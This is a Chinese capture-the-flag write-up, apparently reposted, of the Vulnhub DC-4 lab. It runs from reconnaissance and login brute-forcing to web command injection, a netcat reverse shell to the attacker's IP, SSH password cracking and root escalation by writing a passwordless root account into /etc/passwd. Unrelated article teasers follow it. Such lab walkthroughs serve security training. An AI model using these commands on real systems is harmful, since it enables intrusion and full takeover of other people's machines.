Vulnhub靶机:DC4

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:DC4(10.0.2.57)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/dc-4,313/

二、信息收集

使用nmap主机发现靶机ip:10.0.2.57

在这里插入图片描述

使用nmap端口扫描发现靶机开放端口:22、80

在这里插入图片描述

打开网站是一个登录页面,查看源码也没有发现隐藏信息

在这里插入图片描述

使用gobuster和dirsearch工具进行目录爆破,未发现什么有用的目录和文件

gobuster dir -u http://10.0.2.57/ -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtdirsearch -u http://10.0.2.57

在这里插入图片描述
在这里插入图片描述

三、漏洞利用

登录界面可以使用sqlmap跑一下看看有没有sql注入,但发现没有

只能进行暴力破解看看了,使用用户名admin,爆破密码

在这里插入图片描述

爆破得到密码:happy,登录网站

在这里插入图片描述

把网站各个功能点点击一下,发现命令执行ls -l

在这里插入图片描述
在这里插入图片描述

抓包修改命令为id,执行命令成功

在这里插入图片描述

使用nc反弹shell

which+nc   #查看是否存在nc
nc+-e+/bin/bash+10.0.2.15+4444

在这里插入图片描述
在这里插入图片描述

获取交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

四、提权

翻一翻靶机各个文件夹,在/home/jim/backups文件夹下发现old-passwords.bak文件,该文件是一个字典文件

在这里插入图片描述

使用该字典对jim用户的ssh进行暴力破解,得到密码:jibril04

在这里插入图片描述

使用ssh登录jim用户

在这里插入图片描述

运行命令find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件,发现/home/jim/test.sh文件

在这里插入图片描述

查看该脚本的内容,利用不了

在这里插入图片描述

/var/www/html目录下还发现了jim的邮件信息,里面存在charles用户的密码:^xHhA&hvim0y

在这里插入图片描述

切换为charles用户,使用命令sudo -l查看该用户的sudo命令,发现可以无密码执行/usr/bin/teehee命令

在这里插入图片描述

查看teehee命令帮助信息

teehee --help

在这里插入图片描述

搜索利用方法:tee | GTFOBins

LFILE=file_to_write
echo DATA | sudo tee -a "$LFILE"

我们可以用teehee命令写一些信息到/etc/passwd文件里面,进行提权

echo "myroot::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

在这里插入图片描述

获取flag

在这里插入图片描述

参考链接:DC-4靶场实战详解-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/683125.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Midjourney绘图欣赏系列(一)

Midjourney介绍 Midjourney 是生成式人工智能的一个很好的例子,它根据文本提示创建图像。它与 Dall-E 和 Stable Diffusion 一起成为最流行的 AI 艺术创作工具之一。与竞争对手不同,Midjourney 是自筹资金且闭源的,因此确切了解其幕后内容尚不…

【从Python基础到深度学习】7. 使用scp命令实现主机间通讯

一、生成 SSH 密钥对 ssh-keygen 是一个用于生成 SSH 密钥对的命令行工具,用于身份验证和加密通信 ssh-keygen 二、将本地主机上的 SSH 公钥添加到远程主机 ssh-copy-id 命令用于将本地主机上的 SSH 公钥添加到远程主机上的 authorized_keys 文件中,…

【初学者必看】迈入Midjourney的艺术世界:轻松掌握Midjourney的注册与订阅!

文章目录 前言一、Midjourney是什么二、Midjourney注册三、新建自己的服务器四、开通订阅 前言 AI绘画即指人工智能绘画,是一种计算机生成绘画的方式。是AIGC应用领域内的一大分支。 AI绘画主要分为两个部分,一个是对图像的分析与判断,即…

QlikSense财务聚合函数:IRR/NPV/XIRR/XNPV

IRR - 脚本函数 IRR() 函数用于返回聚合内部回报率,以揭示迭代于 group by 子句定义的大量记录上的表达式的数值表示的现金流系列。 这些现金流不必是均值,因为它们可用于年金。但是,现金流必须定期出现,例如每月或每年。内部收…

《合成孔径雷达成像算法与实现》Figure6.12

clc clear close all参数设置 距离向参数设置 R_eta_c 20e3; % 景中心斜距 Tr 2.5e-6; % 发射脉冲时宽 Kr 20e12; % 距离向调频率 alpha_os_r 1.7; % 距离过采样率 Nrg 320; % 距离线采样数 距离向…

【头歌·计组·自己动手画CPU】三、存储系统设计(HUST)(理论版) 【计算机硬件系统设计】

🕺作者: 主页 我的专栏C语言从0到1探秘C数据结构从0到1探秘Linux 😘欢迎 ❤️关注 👍点赞 🙌收藏 ✍️留言 文章目录 一、课程设计目的二、课程设计内容三、课程设计步骤四、课程设计总结 一、课程设计目的 理解计算机…

猫头虎分享:2024年值得程序员关注的技术发展动向分析

博主猫头虎的技术世界 🌟 欢迎来到猫头虎的博客 — 探索技术的无限可能! 专栏链接: 🔗 精选专栏: 《面试题大全》 — 面试准备的宝典!《IDEA开发秘籍》 — 提升你的IDEA技能!《100天精通鸿蒙》 …

HarmonyOS鸿蒙学习基础篇 - Column/Row 组件

前言 Row和Column组件是线性布局容器,用于按照垂直或水平方向排列子组件。Row表示沿水平方向布局的容器,而Column表示沿垂直方向布局的容器。这些容器具有许多属性和方法,可以方便地管理子组件的位置、大小、间距和对齐方式。例如&#xff0c…

从C向C++7——继承

一.继承 1.理解继承 C中的继承是类与类之间的关系,是一个很简单很直观的概念,与现实世界中的继承类似,例如儿子继承父亲的财产。 继承可以理解为一个类从另一个类获取成员变量和成员函数的过程。例如类 B 继承于类 A,那么 B 就…

Codeforces Round 924(Div.2) A~E

A.Rectangle Cutting (模拟) 题意: 给出一个长方形,通过平行于原始矩形的一条边进行切割,将该矩形切割成两个边长为整数的矩形。询问是否能通过旋转和移动这两个矩形,得到新的矩形。 分析: 可以发现拼成的新长方形…

Python算法探索:从经典到现代(三)

一、引言 随着信息技术的飞速发展,数据已经成为现代社会不可或缺的资源。Python,作为数据处理和分析的利器,为我们提供了大量强大的库和工具,用于从经典到现代的各种算法探索。本文将带你领略Python在算法领域的魅力,从…

COW AI接入到微信 保姆教程 (部署在服务器,插件安装)

此文章不涉及国外的AI模型,也无需翻墙,跟某AI模型无关,审核大哥别弄错了 最近的AI开始越开越火了,开始介入到我们生活中的方方面面。就有人好奇AI是否能接入到微信吗?我在GitHub上搜索的时候还真有除了对话外还可以通…

MySQL 基础知识(五)之数据增删改

目录 1 插入数据 2 删除数据 3 更改数据 创建 goods 表 drop table if exists goods; create table goods ( id int(10) primary key auto_increment, name varchar(14) unique, stockdate date )charsetutf8; 1 插入数据 当要插入的数据为日期/时间类型时,如果…

Spring Boot 笔记 021 项目部署

1.1 引入坐标,并双击package打包成jar包 1.2 在服务器上运行jar包 1.3 使用postman测试 2.1 运行配置 2.1.1 命令更改端口 java -jar big-event-1.0-SNAPSHOT.jar --server.port7777 2.1.2 环境变量更新(略) 2.1.3 外部配置文件&#xff0c…

日期类运算符重载以及const成员详细解析

个人主页:点我进入主页 专栏分类:C语言初阶 C语言进阶 数据结构初阶 Linux C初阶 算法 欢迎大家点赞,评论,收藏。 一起努力,一起奔赴大厂 目录 一.前言 二.运算符重载 2.1概念 2.2比较的符号重载 2.2.1…

ZBX_NOTSUPPORTED: Unsupported item key. 原因排查

进行自定义监控项时,在zabbix-agent端测试没问题,却在zabbix-server进行测试时,出现 ZBX_NOTSUPPORTED: Unsupported item key. 1.在zabbix-agent测试没问题,证明自定义监控项的脚本没问题,却在zabbix-server端测试出…

点击侧边栏菜单时只切换 <router-view> 中的内容,而不是进行整个页面的路由跳转(动态路由)

解决方法&#xff1a;在 <el-menu> 的 select 事件中调用了 handleMenuSelect 方法来处理菜单项的选择。你可以在 handleMenuSelect 方法中根据菜单项的 index 来执行相应的操作&#xff0c;例如更新组件内的数据或者切换组件。由于整个页面的路由路径并没有改变&#xf…

平时积累的FPGA知识点(7)

平时在FPGA群聊等积累的FPGA知识点&#xff0c;第七期&#xff1a; 11 描述扇出的xilinx官方文档是&#xff1f; 解释&#xff1a;ug949 12 在BD中如何指定某个IP用global&#xff0c;其他的用OOC模式&#xff1f;因为某个模块引用的IP带着XPM&#xff0c;综合不了 解释&am…

代码随想录Day50 | 70. 爬楼梯 322. 零钱兑换 279.完全平方数

代码随想录Day50 | 70. 爬楼梯 322. 零钱兑换 279.完全平方数 70.爬楼梯322.零钱兑换279.完全平方数 70.爬楼梯 文档讲解&#xff1a;代码随想录 视频讲解&#xff1a; 状态 dp数组 dp[j]表示爬上第j阶台阶需要的方法数递推公式&#xff0c;由于在每一阶台阶可以向上走1~m阶&a…

代码随想录算法训练营Day57|647. 回文子串、516.最长回文子序列、动态规划总结

目录 647. 回文子串 前言 思路 算法实现 516.最长回文子序列 前言 思路 算法实现 动态规划总结 动规五部曲回顾 动规各小专题问题 647. 回文子串 题目链接 文章链接 前言 本题利用动态规划求解时&#xff0c;dp数组的定义与前面的就有些不同了&#xff0c;是难点之…